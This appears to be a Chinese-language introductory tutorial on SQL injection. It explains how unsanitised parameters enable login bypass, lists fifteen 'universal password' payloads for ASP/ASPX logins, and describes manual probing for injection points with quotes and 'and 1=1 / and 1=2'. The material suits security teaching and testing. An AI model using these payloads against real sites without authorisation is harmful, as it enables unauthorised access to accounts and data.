一、注入攻击的原理:
注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
二、万能密码及其原理
登录SQL语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'
用户输入的内容可由用户自行控制,例如可以输入 ' or 1=1 --空格
SQL语句:select * from admin where username = ' ' or 1=1-- ' and password = '用户输入的密码'
其中 or 1=1 永远为真, -- 注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
不同的程序万能密码也是不一样的,如ASP的万能密码是'or'='or' PHP的万能密码是'or 1=1/* (如果在登陆窗口输入错误的语法出现报错一般说明存在sql注入)
asp aspx万能密码
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
三、手工检测SQL注入点
1、标点符号法
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测URL中是否存在注入点。如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
2、1=1 和 1=2 法
当用标点符号法没有显示的时候可以尝试使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
四、注入分类
- 数字型注入
- 字符型注入
- 搜索型注入
- XX型注入
五、提交方式
- get提交
- post提交
- cookie提交